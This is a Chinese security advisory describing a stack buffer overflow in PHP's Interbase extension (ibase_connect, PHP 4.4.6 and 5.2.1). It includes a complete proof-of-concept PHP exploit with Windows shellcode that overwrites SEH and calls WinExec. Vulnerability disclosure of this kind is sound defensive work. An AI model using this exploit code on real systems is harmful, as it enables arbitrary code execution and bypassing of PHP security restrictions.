安全研究

安全漏洞
PHP Interbase扩展isc_attach_database函数栈溢出漏洞

发布日期:2007-03-15
更新日期:2007-03-19

受影响系统:
PHP PHP 5.2.1
PHP PHP 4.4.6
描述:
BUGTRAQ  ID: 22976

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的isc_attach_database函数实现上存在缓冲区溢出漏洞,本地攻击者可能利用此提升自己的权限。

如果PHP安装了Interbase扩展的话,则在处理传送给PHP目录中GDS32.DLL的isc_attach_database()函数的参数时存在栈溢出漏洞。攻击者可以通过向ibase_connect()或ibase_pconnect()函数传送超过260字节的超长字符串来触发这个漏洞,导致执行任意代码,绕过disable_functions之类的安全限制。

<*来源:rgod (rgod@autistici.org
  
  链接:http://secunia.com/advisories/24529/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
// PHP <= 4.4.6 ibase_connect() & ibase_pconnect() local buffer overflow
// poc exploit
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org


if (!extension_loaded("interbase")){
die("only works with interbase extension ");
}

$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

$jmp="\xeb\xa1\xff\xeb"; // jmp short
$eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll
$____suntzu=str_repeat("A",2676 - strlen($____scode));
$____suntzu.=str_repeat("\x90",190).$____scode.str_repeat("\x90",10).$jmp.$eip;
ibase_connect($____suntzu);

?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:2955
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障